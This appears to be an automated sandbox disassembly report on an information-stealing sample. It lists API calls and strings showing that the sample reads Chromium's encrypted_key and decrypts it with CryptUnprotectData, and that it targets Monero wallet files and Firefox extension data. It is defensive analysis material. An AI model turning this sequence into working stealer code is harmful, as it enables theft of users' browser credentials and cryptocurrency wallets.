Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EE12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00EE12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00EE12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00EE12F5
RegCloseKey.ADVAPI32(?), ref: 00EE12FF

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8c243e83daa747443c46899e391a879b643be00fdba020e5e9461a599edc68bb
Instruction ID: a806c879c2e387b04da45d57e4d4e7eddf616dc551e451a4188ceee7247ea885
Opcode Fuzzy Hash: 8c243e83daa747443c46899e391a879b643be00fdba020e5e9461a599edc68bb
Instruction Fuzzy Hash: DE0136B5A40208BBDB24DFD0EC49FAEB7B8FF48701F008155FB1597284D6719A518F50

Function 00EEA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(017588E0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00EEA0BD
LoadLibraryA.KERNEL32(0175D5D8), ref: 00EEA146

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA820: lstrlen.KERNEL32(00EE4F05,?,?,00EE4F05,00F00DDE), ref: 00EFA82B
Part of subcall function 00EFA820: lstrcpy.KERNEL32(00F00DDE,00000000), ref: 00EFA885

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

SetEnvironmentVariableA.KERNEL32(017588E0,00000000,00000000,?,00F012D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00F00AFE), ref: 00EEA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00EEA0B2, 00EEA0C6, 00EEA0DC

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 3e32ff591c7ac1c9b47d61739750d4fab784ac2d7b0fcafd72870042413d5549
Instruction ID: 05eee79d35d81d533cae76db5ed98c5c0a03658169ee4d446d095f0928f4b260
Opcode Fuzzy Hash: 3e32ff591c7ac1c9b47d61739750d4fab784ac2d7b0fcafd72870042413d5549
Instruction Fuzzy Hash: 6D418DB1801108BFCB3CDFA5F855AAA33B5BF88301F040038E515B3689EB3569A4CB61

Function 00EEA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EF8B60: GetSystemTime.KERNEL32(00F00E1A,01759C68,00F005AE,?,?,00EE13F9,?,0000001A,00F00E1A,00000000,?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EF8B86

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EEA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00EEA3FF
lstrlen.KERNEL32(00000000), ref: 00EEA6BC

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

DeleteFileA.KERNEL32(00000000), ref: 00EEA743

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0082ecdab411c6d58781b59330d72b951a8e3565f7edba2ee220fe8d0692cba1
Instruction ID: ae286cf5cccaad6df37b2debaea4c4f2e70b747810b9ba99ec7584696b1ad4eb
Opcode Fuzzy Hash: 0082ecdab411c6d58781b59330d72b951a8e3565f7edba2ee220fe8d0692cba1
Instruction Fuzzy Hash: D4E133B281004CAACB18FBA4DC95EFE7378AF54340F549179F61A76091EF706A4DCB62

Function 00EED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EF8B60: GetSystemTime.KERNEL32(00F00E1A,01759C68,00F005AE,?,?,00EE13F9,?,0000001A,00F00E1A,00000000,?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EF8B86

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EED801
lstrlen.KERNEL32(00000000), ref: 00EED99F
lstrlen.KERNEL32(00000000), ref: 00EED9B3
DeleteFileA.KERNEL32(00000000), ref: 00EEDA32

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1d4673d563ab63c1882c50037b25645718bc736fa3698b9444e6774bdca0c8ff
Instruction ID: 1a2fbec56097a053862e17ada41d38496057618014a208415a19ab9fd891fc1d
Opcode Fuzzy Hash: 1d4673d563ab63c1882c50037b25645718bc736fa3698b9444e6774bdca0c8ff
Instruction Fuzzy Hash: 788112B281014C9ACB18FBA0DC56DFE7378AF54300F549138F61BBA095EF746A59CB62

Function 00EEF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EE99EC
Part of subcall function 00EE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EE9A11
Part of subcall function 00EE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EE9A31
Part of subcall function 00EE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EE148F,00000000), ref: 00EE9A5A
Part of subcall function 00EE99C0: LocalFree.KERNEL32(00EE148F), ref: 00EE9A90
Part of subcall function 00EE99C0: CloseHandle.KERNEL32(000000FF), ref: 00EE9A9A

Part of subcall function 00EF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EF8E52

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00F01580,00F00D92), ref: 00EEF54C
lstrlen.KERNEL32(00000000), ref: 00EEF56B

Strings

^userContextId=4294967295, xrefs: 00EEF59C
moz-extension+++, xrefs: 00EEF5AD

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: eb1eeaac686f3e95233308c7a17c509df57ba08d4aeff7ff09cfdcf22b3de21b
Instruction ID: 9099bc8f264ac7363eb6edd1a932a81f2786f13fbb79524b6bc282a1d84e20dd
Opcode Fuzzy Hash: eb1eeaac686f3e95233308c7a17c509df57ba08d4aeff7ff09cfdcf22b3de21b
Instruction Fuzzy Hash: 195124B290014CAADB08FFA0DC56DFD73B8AF94340F449538F51A7B195EE746609CBA2

Function 00EF70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s, xrefs: 00EF72AE, 00EF7179, 00EF717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00EF718C
s, xrefs: 00EF7111, 00EF7114

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s$s$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3520659465
Opcode ID: 01e4a0ba2eaab7eb0f0dcff9b5573de20c9e9e10073a61ce3f60fdc3707aaf90
Instruction ID: 8a2bae970996be1193a463f9e4952e89fb1ca09ca62d407d7e6487c28ac4d935
Opcode Fuzzy Hash: 01e4a0ba2eaab7eb0f0dcff9b5573de20c9e9e10073a61ce3f60fdc3707aaf90
Instruction Fuzzy Hash: 9C514CB1D0421CABEB24EF90DC85BFEB3B4AF44304F1461A8E25976181EB746E88DF55

Function 00EE9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EE99EC
Part of subcall function 00EE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EE9A11
Part of subcall function 00EE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EE9A31
Part of subcall function 00EE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EE148F,00000000), ref: 00EE9A5A
Part of subcall function 00EE99C0: LocalFree.KERNEL32(00EE148F), ref: 00EE9A90
Part of subcall function 00EE99C0: CloseHandle.KERNEL32(000000FF), ref: 00EE9A9A

Part of subcall function 00EF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EF8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00EE9D39

Part of subcall function 00EE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EE9AEF
Part of subcall function 00EE9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00EE4EEE,00000000,?), ref: 00EE9B01
Part of subcall function 00EE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EE9B2A
Part of subcall function 00EE9AC0: LocalFree.KERNEL32(?,?,?,?,00EE4EEE,00000000,?), ref: 00EE9B3F

Part of subcall function 00EE9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00EE9B84
